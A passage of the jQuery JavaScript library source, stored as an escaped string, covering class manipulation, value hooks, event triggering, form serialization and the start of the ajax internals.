option\n// The getter ensures a default option is selected\n// when in an optgroup\n// eslint rule \"no-unused-expressions\" is disabled for this code\n// since it considers such accessions noop\n    if ( !support.optSelected ) {\n        jQuery.propHooks.selected = {\n            get: function( elem ) {\n\n                /* eslint no-unused-expressions: \"off\" */\n\n                var parent = elem.parentNode;\n                if ( parent && parent.parentNode ) {\n                    parent.parentNode.selectedIndex;\n                }\n                return null;\n            },\n            set: function( elem ) {\n\n                /* eslint no-unused-expressions: \"off\" */\n\n                var parent = elem.parentNode;\n                if ( parent ) {\n                    parent.selectedIndex;\n\n                    if ( parent.parentNode ) {\n                        parent.parentNode.selectedIndex;\n                    }\n                }\n            }\n        };\n    }\n\n    jQuery.each( [\n        \"tabIndex\",\n        \"readOnly\",\n        \"maxLength\",\n        \"cellSpacing\",\n        \"cellPadding\",\n        \"rowSpan\",\n        \"colSpan\",\n        \"useMap\",\n        \"frameBorder\",\n        \"contentEditable\"\n    ], function() {\n        jQuery.propFix[ this.toLowerCase() ] = this;\n    } );\n\n\n\n\n    // Strip and collapse whitespace according to HTML spec\n    // https://html.spec.whatwg.org/multipage/infrastructure.html#strip-and-collapse-whitespace\n    function stripAndCollapse( value ) {\n        var tokens = value.match( rnothtmlwhite ) || [];\n        return tokens.join( \" \" );\n    }\n\n\n    function getClass( elem ) {\n        return elem.getAttribute && elem.getAttribute( \"class\" ) || \"\";\n    }\n\n    jQuery.fn.extend( {\n        addClass: function( value ) {\n            var classes, elem, cur, curValue, clazz, j, finalValue,\n                i = 0;\n\n            if ( jQuery.isFunction( value ) ) {\n                return this.each( function( j ) {\n                    jQuery( this ).addClass( value.call( this, j, getClass( this ) ) );\n                } );\n            }\n\n            if ( typeof value === \"string\" && value ) {\n                classes = value.match( rnothtmlwhite ) || [];\n\n                while ( ( elem = this[ i++ ] ) ) {\n                    curValue = getClass( elem );\n                    cur = elem.nodeType === 1 && ( \" \" + stripAndCollapse( curValue ) + \" \" );\n\n                    if ( cur ) {\n                        j = 0;\n                        while ( ( clazz = classes[ j++ ] ) ) {\n                            if ( cur.indexOf( \" \" + clazz + \" \" ) < 0 ) {\n                                cur += clazz + \" \";\n                            }\n                        }\n\n                        // Only assign if different to avoid unneeded rendering.\n                        finalValue = stripAndCollapse( cur );\n                        if ( curValue !== finalValue ) {\n                            elem.setAttribute( \"class\", finalValue );\n                        }\n                    }\n                }\n            }\n\n            return this;\n        },\n\n        removeClass: function( value ) {\n            var classes, elem, cur, curValue, clazz, j, finalValue,\n                i = 0;\n\n            if ( jQuery.isFunction( value ) ) {\n                return this.each( function( j ) {\n                    jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) );\n                } );\n            }\n\n            if ( !arguments.length ) {\n                return this.attr( \"class\", \"\" );\n            }\n\n            if ( typeof value === \"string\" && value ) {\n                classes = value.match( rnothtmlwhite ) || [];\n\n                while ( ( elem = this[ i++ ] ) ) {\n                    curValue = getClass( elem );\n\n                    // This expression is here for better compressibility (see addClass)\n                    cur = elem.nodeType === 1 && ( \" \" + stripAndCollapse( curValue ) + \" \" );\n\n                    if ( cur ) {\n                        j = 0;\n                        while ( ( clazz = classes[ j++ ] ) ) {\n\n                            // Remove *all* instances\n                            while ( cur.indexOf( \" \" + clazz + \" \" ) > -1 ) {\n                                cur = cur.replace( \" \" + clazz + \" \", \" \" );\n                            }\n                        }\n\n                        // Only assign if different to avoid unneeded rendering.\n                        finalValue = stripAndCollapse( cur );\n                        if ( curValue !== finalValue ) {\n                            elem.setAttribute( \"class\", finalValue );\n                        }\n                    }\n                }\n            }\n\n            return this;\n        },\n\n        toggleClass: function( value, stateVal ) {\n            var type = typeof value;\n\n            if ( typeof stateVal === \"boolean\" && type === \"string\" ) {\n                return stateVal ? this.addClass( value ) : this.removeClass( value );\n            }\n\n            if ( jQuery.isFunction( value ) ) {\n                return this.each( function( i ) {\n                    jQuery( this ).toggleClass(\n                        value.call( this, i, getClass( this ), stateVal ),\n                        stateVal\n                    );\n                } );\n            }\n\n            return this.each( function() {\n                var className, i, self, classNames;\n\n                if ( type === \"string\" ) {\n\n                    // Toggle individual class names\n                    i = 0;\n                    self = jQuery( this );\n                    classNames = value.match( rnothtmlwhite ) || [];\n\n                    while ( ( className = classNames[ i++ ] ) ) {\n\n                        // Check each className given, space separated list\n                        if ( self.hasClass( className ) ) {\n                            self.removeClass( className );\n                        } else {\n                            self.addClass( className );\n                        }\n                    }\n\n                    // Toggle whole class name\n                } else if ( value === undefined || type === \"boolean\" ) {\n                    className = getClass( this );\n                    if ( className ) {\n\n                        // Store className if set\n                        dataPriv.set( this, \"__className__\", className );\n                    }\n\n                    // If the element has a class name or if we're passed `false`,\n                    // then remove the whole classname (if there was one, the above saved it).\n                    // Otherwise bring back whatever was previously saved (if anything),\n                    // falling back to the empty string if nothing was stored.\n                    if ( this.setAttribute ) {\n                        this.setAttribute( \"class\",\n                            className || value === false ?\n                                \"\" :\n                                dataPriv.get( this, \"__className__\" ) || \"\"\n                        );\n                    }\n                }\n            } );\n        },\n\n        hasClass: function( selector ) {\n            var className, elem,\n                i = 0;\n\n            className = \" \" + selector + \" \";\n            while ( ( elem = this[ i++ ] ) ) {\n                if ( elem.nodeType === 1 &&\n                    ( \" \" + stripAndCollapse( getClass( elem ) ) + \" \" ).indexOf( className ) > -1 ) {\n                    return true;\n                }\n            }\n\n            return false;\n        }\n    } );\n\n\n\n\n    var rreturn = /\\r/g;\n\n    jQuery.fn.extend( {\n        val: function( value ) {\n            var hooks, ret, isFunction,\n                elem = this[ 0 ];\n\n            if ( !arguments.length ) {\n                if ( elem ) {\n                    hooks = jQuery.valHooks[ elem.type ] ||\n                        jQuery.valHooks[ elem.nodeName.toLowerCase() ];\n\n                    if ( hooks &&\n                        \"get\" in hooks &&\n                        ( ret = hooks.get( elem, \"value\" ) ) !== undefined\n                    ) {\n                        return ret;\n                    }\n\n                    ret = elem.value;\n\n                    // Handle most common string cases\n                    if ( typeof ret === \"string\" ) {\n                        return ret.replace( rreturn, \"\" );\n                    }\n\n                    // Handle cases where value is null/undef or number\n                    return ret == null ? \"\" : ret;\n                }\n\n                return;\n            }\n\n            isFunction = jQuery.isFunction( value );\n\n            return this.each( function( i ) {\n                var val;\n\n                if ( this.nodeType !== 1 ) {\n                    return;\n                }\n\n                if ( isFunction ) {\n                    val = value.call( this, i, jQuery( this ).val() );\n                } else {\n                    val = value;\n                }\n\n                // Treat null/undefined as \"\"; convert numbers to string\n                if ( val == null ) {\n                    val = \"\";\n\n                } else if ( typeof val === \"number\" ) {\n                    val += \"\";\n\n                } else if ( jQuery.isArray( val ) ) {\n                    val = jQuery.map( val, function( value ) {\n                        return value == null ? \"\" : value + \"\";\n                    } );\n                }\n\n                hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];\n\n                // If set returns undefined, fall back to normal setting\n                if ( !hooks || !( \"set\" in hooks ) || hooks.set( this, val, \"value\" ) === undefined ) {\n                    this.value = val;\n                }\n            } );\n        }\n    } );\n\n    jQuery.extend( {\n        valHooks: {\n            option: {\n                get: function( elem ) {\n\n                    var val = jQuery.find.attr( elem, \"value\" );\n                    return val != null ?\n                        val :\n\n                        // Support: IE <=10 - 11 only\n                        // option.text throws exceptions (#14686, #14858)\n                        // Strip and collapse whitespace\n                        // https://html.spec.whatwg.org/#strip-and-collapse-whitespace\n                        stripAndCollapse( jQuery.text( elem ) );\n                }\n            },\n            select: {\n                get: function( elem ) {\n                    var value, option, i,\n                        options = elem.options,\n                        index = elem.selectedIndex,\n                        one = elem.type === \"select-one\",\n                        values = one ? null : [],\n                        max = one ? index + 1 : options.length;\n\n                    if ( index < 0 ) {\n                        i = max;\n\n                    } else {\n                        i = one ? index : 0;\n                    }\n\n                    // Loop through all the selected options\n                    for ( ; i < max; i++ ) {\n                        option = options[ i ];\n\n                        // Support: IE <=9 only\n                        // IE8-9 doesn't update selected after form reset (#2551)\n                        if ( ( option.selected || i === index ) &&\n\n                            // Don't return options that are disabled or in a disabled optgroup\n                            !option.disabled &&\n                            ( !option.parentNode.disabled ||\n                                !jQuery.nodeName( option.parentNode, \"optgroup\" ) ) ) {\n\n                            // Get the specific value for the option\n                            value = jQuery( option ).val();\n\n                            // We don't need an array for one selects\n                            if ( one ) {\n                                return value;\n                            }\n\n                            // Multi-Selects return an array\n                            values.push( value );\n                        }\n                    }\n\n                    return values;\n                },\n\n                set: function( elem, value ) {\n                    var optionSet, option,\n                        options = elem.options,\n                        values = jQuery.makeArray( value ),\n                        i = options.length;\n\n                    while ( i-- ) {\n                        option = options[ i ];\n\n                        /* eslint-disable no-cond-assign */\n\n                        if ( option.selected =\n                                jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1\n                        ) {\n                            optionSet = true;\n                        }\n\n                        /* eslint-enable no-cond-assign */\n                    }\n\n                    // Force browsers to behave consistently when non-matching value is set\n                    if ( !optionSet ) {\n                        elem.selectedIndex = -1;\n                    }\n                    return values;\n                }\n            }\n        }\n    } );\n\n// Radios and checkboxes getter/setter\n    jQuery.each( [ \"radio\", \"checkbox\" ], function() {\n        jQuery.valHooks[ this ] = {\n            set: function( elem, value ) {\n                if ( jQuery.isArray( value ) ) {\n                    return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );\n                }\n            }\n        };\n        if ( !support.checkOn ) {\n            jQuery.valHooks[ this ].get = function( elem ) {\n                return elem.getAttribute( \"value\" ) === null ? \"on\" : elem.value;\n            };\n        }\n    } );\n\n\n\n\n// Return jQuery for attributes-only inclusion\n\n\n    var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/;\n\n    jQuery.extend( jQuery.event, {\n\n        trigger: function( event, data, elem, onlyHandlers ) {\n\n            var i, cur, tmp, bubbleType, ontype, handle, special,\n                eventPath = [ elem || document ],\n                type = hasOwn.call( event, \"type\" ) ? event.type : event,\n                namespaces = hasOwn.call( event, \"namespace\" ) ? event.namespace.split( \".\" ) : [];\n\n            cur = tmp = elem = elem || document;\n\n            // Don't do events on text and comment nodes\n            if ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n                return;\n            }\n\n            // focus/blur morphs to focusin/out; ensure we're not firing them right now\n            if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {\n                return;\n            }\n\n            if ( type.indexOf( \".\" ) > -1 ) {\n\n                // Namespaced trigger; create a regexp to match event type in handle()\n                namespaces = type.split( \".\" );\n                type = namespaces.shift();\n                namespaces.sort();\n            }\n            ontype = type.indexOf( \":\" ) < 0 && \"on\" + type;\n\n            // Caller can pass in a jQuery.Event object, Object, or just an event type string\n            event = event[ jQuery.expando ] ?\n                event :\n                new jQuery.Event( type, typeof event === \"object\" && event );\n\n            // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)\n            event.isTrigger = onlyHandlers ? 2 : 3;\n            event.namespace = namespaces.join( \".\" );\n            event.rnamespace = event.namespace ?\n                new RegExp( \"(^|\\\\.)\" + namespaces.join( \"\\\\.(?:.*\\\\.|)\" ) + \"(\\\\.|$)\" ) :\n                null;\n\n            // Clean up the event in case it is being reused\n            event.result = undefined;\n            if ( !event.target ) {\n                event.target = elem;\n            }\n\n            // Clone any incoming data and prepend the event, creating the handler arg list\n            data = data == null ?\n                [ event ] :\n                jQuery.makeArray( data, [ event ] );\n\n            // Allow special events to draw outside the lines\n            special = jQuery.event.special[ type ] || {};\n            if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {\n                return;\n            }\n\n            // Determine event propagation path in advance, per W3C events spec (#9951)\n            // Bubble up to document, then to window; watch for a global ownerDocument var (#9724)\n            if ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) {\n\n                bubbleType = special.delegateType || type;\n                if ( !rfocusMorph.test( bubbleType + type ) ) {\n                    cur = cur.parentNode;\n                }\n                for ( ; cur; cur = cur.parentNode ) {\n                    eventPath.push( cur );\n                    tmp = cur;\n                }\n\n                // Only add window if we got to document (e.g., not plain obj or detached DOM)\n                if ( tmp === ( elem.ownerDocument || document ) ) {\n                    eventPath.push( tmp.defaultView || tmp.parentWindow || window );\n                }\n            }\n\n            // Fire handlers on the event path\n            i = 0;\n            while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) {\n\n                event.type = i > 1 ?\n                    bubbleType :\n                    special.bindType || type;\n\n                // jQuery handler\n                handle = ( dataPriv.get( cur, \"events\" ) || {} )[ event.type ] &&\n                    dataPriv.get( cur, \"handle\" );\n                if ( handle ) {\n                    handle.apply( cur, data );\n                }\n\n                // Native handler\n                handle = ontype && cur[ ontype ];\n                if ( handle && handle.apply && acceptData( cur ) ) {\n                    event.result = handle.apply( cur, data );\n                    if ( event.result === false ) {\n                        event.preventDefault();\n                    }\n                }\n            }\n            event.type = type;\n\n            // If nobody prevented the default action, do it now\n            if ( !onlyHandlers && !event.isDefaultPrevented() ) {\n\n                if ( ( !special._default ||\n                        special._default.apply( eventPath.pop(), data ) === false ) &&\n                    acceptData( elem ) ) {\n\n                    // Call a native DOM method on the target with the same name as the event.\n                    // Don't do default actions on window, that's where global variables be (#6170)\n                    if ( ontype && jQuery.isFunction( elem[ type ] ) && !jQuery.isWindow( elem ) ) {\n\n                        // Don't re-trigger an onFOO event when we call its FOO() method\n                        tmp = elem[ ontype ];\n\n                        if ( tmp ) {\n                            elem[ ontype ] = null;\n                        }\n\n                        // Prevent re-triggering of the same event, since we already bubbled it above\n                        jQuery.event.triggered = type;\n                        elem[ type ]();\n                        jQuery.event.triggered = undefined;\n\n                        if ( tmp ) {\n                            elem[ ontype ] = tmp;\n                        }\n                    }\n                }\n            }\n\n            return event.result;\n        },\n\n        // Piggyback on a donor event to simulate a different one\n        // Used only for `focus(in | out)` events\n        simulate: function( type, elem, event ) {\n            var e = jQuery.extend(\n                new jQuery.Event(),\n                event,\n                {\n                    type: type,\n                    isSimulated: true\n                }\n            );\n\n            jQuery.event.trigger( e, null, elem );\n        }\n\n    } );\n\n    jQuery.fn.extend( {\n\n        trigger: function( type, data ) {\n            return this.each( function() {\n                jQuery.event.trigger( type, data, this );\n            } );\n        },\n        triggerHandler: function( type, data ) {\n            var elem = this[ 0 ];\n            if ( elem ) {\n                return jQuery.event.trigger( type, data, elem, true );\n            }\n        }\n    } );\n\n\n    jQuery.each( ( \"blur focus focusin focusout resize scroll click dblclick \" +\n        \"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave \" +\n        \"change select submit keydown keypress keyup contextmenu\" ).split( \" \" ),\n        function( i, name ) {\n\n            // Handle event binding\n            jQuery.fn[ name ] = function( data, fn ) {\n                return arguments.length > 0 ?\n                    this.on( name, null, data, fn ) :\n                    this.trigger( name );\n            };\n        } );\n\n    jQuery.fn.extend( {\n        hover: function( fnOver, fnOut ) {\n            return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );\n        }\n    } );\n\n\n\n\n    support.focusin = \"onfocusin\" in window;\n\n\n// Support: Firefox <=44\n// Firefox doesn't have focus(in | out) events\n// Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787\n//\n// Support: Chrome <=48 - 49, Safari <=9.0 - 9.1\n// focus(in | out) events fire after focus & blur events,\n// which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order\n// Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857\n    if ( !support.focusin ) {\n        jQuery.each( { focus: \"focusin\", blur: \"focusout\" }, function( orig, fix ) {\n\n            // Attach a single capturing handler on the document while someone wants focusin/focusout\n            var handler = function( event ) {\n                jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) );\n            };\n\n            jQuery.event.special[ fix ] = {\n                setup: function() {\n                    var doc = this.ownerDocument || this,\n                        attaches = dataPriv.access( doc, fix );\n\n                    if ( !attaches ) {\n                        doc.addEventListener( orig, handler, true );\n                    }\n                    dataPriv.access( doc, fix, ( attaches || 0 ) + 1 );\n                },\n                teardown: function() {\n                    var doc = this.ownerDocument || this,\n                        attaches = dataPriv.access( doc, fix ) - 1;\n\n                    if ( !attaches ) {\n                        doc.removeEventListener( orig, handler, true );\n                        dataPriv.remove( doc, fix );\n\n                    } else {\n                        dataPriv.access( doc, fix, attaches );\n                    }\n                }\n            };\n        } );\n    }\n    var location = window.location;\n\n    var nonce = jQuery.now();\n\n    var rquery = ( /\\?/ );\n\n\n\n// Cross-browser xml parsing\n    jQuery.parseXML = function( data ) {\n        var xml;\n        if ( !data || typeof data !== \"string\" ) {\n            return null;\n        }\n\n        // Support: IE 9 - 11 only\n        // IE throws on parseFromString with invalid input.\n        try {\n            xml = ( new window.DOMParser() ).parseFromString( data, \"text/xml\" );\n        } catch ( e ) {\n            xml = undefined;\n        }\n\n        if ( !xml || xml.getElementsByTagName( \"parsererror\" ).length ) {\n            jQuery.error( \"Invalid XML: \" + data );\n        }\n        return xml;\n    };\n\n\n    var\n        rbracket = /\\[\\]$/,\n        rCRLF = /\\r?\\n/g,\n        rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,\n        rsubmittable = /^(?:input|select|textarea|keygen)/i;\n\n    function buildParams( prefix, obj, traditional, add ) {\n        var name;\n\n        if ( jQuery.isArray( obj ) ) {\n\n            // Serialize array item.\n            jQuery.each( obj, function( i, v ) {\n                if ( traditional || rbracket.test( prefix ) ) {\n\n                    // Treat each array item as a scalar.\n                    add( prefix, v );\n\n                } else {\n\n                    // Item is non-scalar (array or object), encode its numeric index.\n                    buildParams(\n                        prefix + \"[\" + ( typeof v === \"object\" && v != null ? i : \"\" ) + \"]\",\n                        v,\n                        traditional,\n                        add\n                    );\n                }\n            } );\n\n        } else if ( !traditional && jQuery.type( obj ) === \"object\" ) {\n\n            // Serialize object item.\n            for ( name in obj ) {\n                buildParams( prefix + \"[\" + name + \"]\", obj[ name ], traditional, add );\n            }\n\n        } else {\n\n            // Serialize scalar item.\n            add( prefix, obj );\n        }\n    }\n\n// Serialize an array of form elements or a set of\n// key/values into a query string\n    jQuery.param = function( a, traditional ) {\n        var prefix,\n            s = [],\n            add = function( key, valueOrFunction ) {\n\n                // If value is a function, invoke it and use its return value\n                var value = jQuery.isFunction( valueOrFunction ) ?\n                    valueOrFunction() :\n                    valueOrFunction;\n\n                s[ s.length ] = encodeURIComponent( key ) + \"=\" +\n                    encodeURIComponent( value == null ? \"\" : value );\n            };\n\n        // If an array was passed in, assume that it is an array of form elements.\n        if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {\n\n            // Serialize the form elements\n            jQuery.each( a, function() {\n                add( this.name, this.value );\n            } );\n\n        } else {\n\n            // If traditional, encode the \"old\" way (the way 1.3.2 or older\n            // did it), otherwise encode params recursively.\n            for ( prefix in a ) {\n                buildParams( prefix, a[ prefix ], traditional, add );\n            }\n        }\n\n        // Return the resulting serialization\n        return s.join( \"&\" );\n    };\n\n    jQuery.fn.extend( {\n        serialize: function() {\n            return jQuery.param( this.serializeArray() );\n        },\n        serializeArray: function() {\n            return this.map( function() {\n\n                // Can add propHook for \"elements\" to filter or add form elements\n                var elements = jQuery.prop( this, \"elements\" );\n                return elements ? jQuery.makeArray( elements ) : this;\n            } )\n                .filter( function() {\n                    var type = this.type;\n\n                    // Use .is( \":disabled\" ) so that fieldset[disabled] works\n                    return this.name && !jQuery( this ).is( \":disabled\" ) &&\n                        rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&\n                        ( this.checked || !rcheckableType.test( type ) );\n                } )\n                .map( function( i, elem ) {\n                    var val = jQuery( this ).val();\n\n                    if ( val == null ) {\n                        return null;\n                    }\n\n                    if ( jQuery.isArray( val ) ) {\n                        return jQuery.map( val, function( val ) {\n                            return { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n                        } );\n                    }\n\n                    return { name: elem.name, value: val.replace( rCRLF, \"\\r\\n\" ) };\n                } ).get();\n        }\n    } );\n\n\n    var\n        r20 = /%20/g,\n        rhash = /#.*$/,\n        rantiCache = /([?&])_=[^&]*/,\n        rheaders = /^(.*?):[ \\t]*([^\\r\\n]*)$/mg,\n\n        // #7653, #8125, #8152: local protocol detection\n        rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,\n        rnoContent = /^(?:GET|HEAD)$/,\n        rprotocol = /^\\/\\//,\n\n        /* Prefilters\n         * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)\n         * 2) These are called:\n         *    - BEFORE asking for a transport\n         *    - AFTER param serialization (s.data is a string if s.processData is true)\n         * 3) key is the dataType\n         * 4) the catchall symbol \"*\" can be used\n         * 5) execution will start with transport dataType and THEN continue down to \"*\" if needed\n         */\n        prefilters = {},\n\n        /* Transports bindings\n         * 1) key is the dataType\n         * 2) the catchall symbol \"*\" can be used\n         * 3) selection will start with transport dataType and THEN go to \"*\" if needed\n         */\n        transports = {},\n\n        // Avoid comment-prolog char sequence (#10098); must appease lint and evade compression\n        allTypes = \"*/\".concat( \"*\" ),\n\n        // Anchor tag for parsing the document origin\n        originAnchor = document.createElement( \"a\" );\n    originAnchor.href = location.href;\n\n// Base \"constructor\" for jQuery.ajaxPrefilter and jQuery.ajaxTransport\n    function addToPrefiltersOrTransports( structure ) {\n\n        // dataTypeExpression is optional and defaults to \"*\"\n        return function( dataTypeExpression, func ) {\n\n            if ( typeof dataTypeExpression !== \"string\" ) {\n                func = dataTypeExpression;\n                dataTypeExpression = \"*\";\n            }\n\n            var dataType,\n                i = 0,\n                dataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || [];\n\n            if ( jQuery.isFunction( func ) ) {\n\n                // For each dataType in the dataTypeExpression\n                while ( ( dataType = dataTypes[ i++ ] ) ) {\n\n                    // Prepend if requested\n                    if ( dataType[ 0 ] === \"+\" ) {\n                        dataType = dataType.slice( 1 ) || \"*\";\n                        ( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func );\n\n                        // Otherwise append\n                    } else {\n                        ( structure[ dataType ] = structure[ dataType ] || [] ).push( func );\n                    }\n                }\n            }\n        };\n    }\n\n// Base inspection function for prefilters and transports\n    function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {\n\n        var inspected = {},\n            seekingTransport = ( structure === transports );\n\n        function inspect( dataType ) {\n            var selected;\n            inspected[ dataType ] = true;\n            jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {\n                var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );\n                if ( typeof dataTypeOrTransport === \"string\" &&\n                    !seekingTransport && !inspected[ dataTypeOrTransport ] ) {\n\n                    options.dataTypes.unshift( dataTypeOrTransport );\n                    inspect( dataTypeOrTransport );\n                    return false;\n                } else if ( seekingTransport ) {\n                    return !( selected = dataTypeOrTransport );\n                }\n            } );\n            return selected;\n        }\n\n        return inspect( options.dataTypes[ 0 ] ) || !inspected[ \"*\" ] && inspect( \"*\" );\n    }\n\n// A special extend for ajax options\n// that takes \"flat\" options (not to be deep extended)\n// Fixes #9887\n    function ajaxExtend( target, src ) {\n        var key, deep,\n            flatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n        for ( key in src ) {\n            if ( src[ key ] !== undefined ) {\n                ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];\n            }\n        }\n        if ( deep ) {\n            jQuery.extend( true, target, deep );\n        }\n\n        return target;\n    }\n\n    /* Handles responses to an ajax request:\n     * - finds the right dataType (mediates between content-type and expected dataType)\n     * - returns the corresponding response\n     */\n    function ajaxHandleResponses( s, jqXHR, responses ) {\n\n        var ct, type, finalDataType, firstDataType,\n            contents = s.contents,\n            dataTypes = s.dataTypes;\n\n        // Remove auto dataType and get content-type in the process\n        while ( dataTypes[ 0 ] === \"*\" ) {\n            dataTypes.shift();\n            if ( ct === undefined ) {\n                ct = s.mimeType || jqXHR.getResponseHeader( \"Content-Type\" );\n            }\n        }\n\n        // Check if we're dealing with a known content-type\n        if ( ct ) {\n            for ( type in contents ) {\n                if ( contents[ type ] && contents[ type ].test( ct ) ) {\n                    dataTypes.unshift( type );\n                    break;\n                }\n            }\n        }\n\n        // Check to see if we have a response for the expected dataType\n        if ( dataTypes[ 0 ] in responses ) {\n            finalDataType = dataTypes[ 0 ];\n        } else {\n\n            // Try convertible dataTypes\n            for ( type in responses ) {\n                if ( !dataTypes[ 0 ] || s.converters[ type + \" \" + dataTypes[ 0 ] ] ) {\n                    finalDataType = type;\n                    break;\n                }\n                if ( !firstDataType ) {\n                    firstDataType = type;\n                }\n            }\n\n            // Or just use first one\n            finalDataType = finalDataType || firstDataType;\n        }\n\n        // If we found a dataType\n        // We add the dataType to the list if needed\n        // and return the corresponding response\n        if ( finalDataType ) {\n            if ( finalDataType !== dataTypes[ 0 ] ) {\n                dataTypes.unshift( finalDataType );\n            }\n            return responses[ finalDataType ];\n        }\n    }\n\n    /* Chain conversions given the request and the original response\n     * Also sets the responseXXX fields on the jqXHR instance\n     */\n    function ajaxConvert( s, response, jqXHR, isSuccess ) {\n        var conv2, current, conv, tmp, prev,\n            converters = {},\n\n            // Work with a copy of dataTypes in case we need to modify it for conversion\n            dataTypes = s.dataTypes.slice();\n\n        // Create converters map with lowercased keys\n        if ( dataTypes[ 1 ] ) {\n            for ( conv in s.converters ) {\n                converters[ conv.toLowerCase() ] = s.converters[ conv ];\n            }\n        }\n\n        current = dataTypes.shift();\n\n        // Convert to each sequential dataType\n        while ( current ) {\n\n            if ( s.responseFields[ current ] ) {\n                jqXHR[ s.responseFields[ current ] ] = response;\n            }\n\n            // Apply the dataFilter if provided\n            if ( !prev && isSuccess && s.dataFilter ) {\n                response = s.dataFilter( response, s.dataType );\n            }\n\n            prev = current;\n            current = dataTypes.shift();\n\n            if ( current ) {\n\n                // There's only work to do if current dataType is non-auto\n                if ( current === \"*\" ) {\n\n                    current = prev;\n\n                    // Convert response if prev dataType is non-auto and differs from current\n                } else if ( prev !== \"*\" && prev !== current ) {\n\n                    // Seek a direct converter\n                    conv = converters[ prev + \" \" + current ] || converters[ \"* \" + current ];\n\n                    // If none found, seek a pair\n                    if ( !conv ) {\n                        for ( conv2 in converters ) {\n\n                            // If conv2 outputs current\n                            tmp = conv2.split( \" \" );\n                            if ( tmp[ 1 ] === current ) {\n\n                                // If prev can be converted to accepted input\n                                conv = converters[ prev + \" \" + tmp[ 0 ] ] ||\n                                    converters[ \"* \" + tmp[ 0 ] ];\n                                if ( conv ) {\n\n                                    // Condense equivalence converters\n                                    if ( conv === true ) {\n                                        conv = converters[ conv2 ];\n\n                                        // Otherwise, insert the intermediate dataType\n                                    } else if ( converters[ conv2 ] !== true ) {\n                                        current = tmp[ 0 ];\n                                        dataTypes.unshift( tmp[ 1 ] );\n                                    }\n                                    break;\n                                }\n                            }\n                        }\n                    }\n\n                    // Apply converter (if not an equivalence)\n                    if ( conv !== true ) {\n\n                        // Unless errors are allowed to bubble, catch and return them\n                        if ( conv && s.throws ) {\n                            response = conv( response );\n                        } else {\n                            try {\n                                response = conv( response );\n                            } catch ( e ) {\n                                return {\n                                    state: \"parsererror\",\n                                    error: conv ? e : \"No conversion from \" + prev + \" to \" + current\n                                };\n                            }\n                        }\n                    }\n                }\n            }\n        }\n\n        return { state: \"success\", data: response };\n    }\n\n    jQuery.extend( {\n\n        // Counter for holding the number of active queries\n        active: 0,\n\n        // Last-Modified header cache for next request\n        lastModified: {},\n        etag: {},\n\n        ajaxSettings: {\n            url: location.href,\n            type: \"GET\",\n            isLocal: rlocalProtocol.test( location.protocol ),\n            global: true,\n            processData: true,\n            async: true,\n            contentType: \"application/x-www-form-urlencoded; charset=UTF-8\",\n\n            /*\n             timeout: 0,\n             data: null,\n             dataType: null,\n             username: null,\n             password: null,\n             cache: null,\n             throws: false,\n             traditional: false,\n             headers: {},\n             */\n\n            accepts: {\n                \"*\": allTypes,\n                text: \"text/plain\",\n                html: \"text/html\",\n                xml: \"application/xml, text/xml\",\n                json: \"application/json, text/javascript\"\n            },\n\n            contents: {\n                xml: /\\bxml\\b/,\n                html: /\\bhtml/,\n                json: /\\bjson\\b/\n            },\n\n            responseFields: {\n                xml: \"responseXML\",\n                text: \"responseText\",\n                json: \"responseJSON\"\n            },\n\n            // Data converters\n            // Keys separate source (or catchall \"*\") and destination types with a single space\n            converters: {\n\n                // Convert anything to text\n                \"* text\": String,\n\n                // Text to html (true = no transformation)\n                \"text html\": true,\n\n                // Evaluate text as a json expression\n                \"text json\": JSON.parse,\n\n                // Parse text as xml\n                \"text xml\": jQuery.parseXML\n            },\n\n            // For options that shouldn't be deep extended:\n            // you can add your own custom options here if\n            // and when you create one that shouldn't be\n            // deep extended (see ajaxExtend)\n            flatOptions: {\n                url: true,\n                context: true\n            }\n        },\n\n        // Creates a full fledged settings object into target\n        // with both ajaxSettings and settings fields.\n        // If target is omitted, writes into ajaxSettings.\n        ajaxSetup: function( target, settings ) {\n            return settings ?\n\n                // Building a settings object\n                ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :\n\n                // Extending ajaxSettings\n                ajaxExtend( jQuery.ajaxSettings, target );\n        },\n\n        ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),\n        ajaxTransport: addToPrefiltersOrTransports( transports ),\n\n        // Main method\n        ajax: function( url, options ) {\n\n            // If url is an object, simulate pre-1.5 signature\n            if ( typeof url === \"object\" ) {\n                options = url;\n                url = undefined;\n            }\n\n            // Force options to be an object\n            options = options || {};\n\n            var transport,\n\n                // URL without anti-cache param\n                cacheURL,\n\n                // Response headers\n                responseHeadersString,\n                responseHeaders,\n\n                // timeout handle\n                timeoutTimer,\n\n                // Url cleanup var\n                urlAnchor,\n\n                // Request state (becomes false upon send and true upon completion)\n                completed,\n\n                // To know if global events are to be dispatched\n                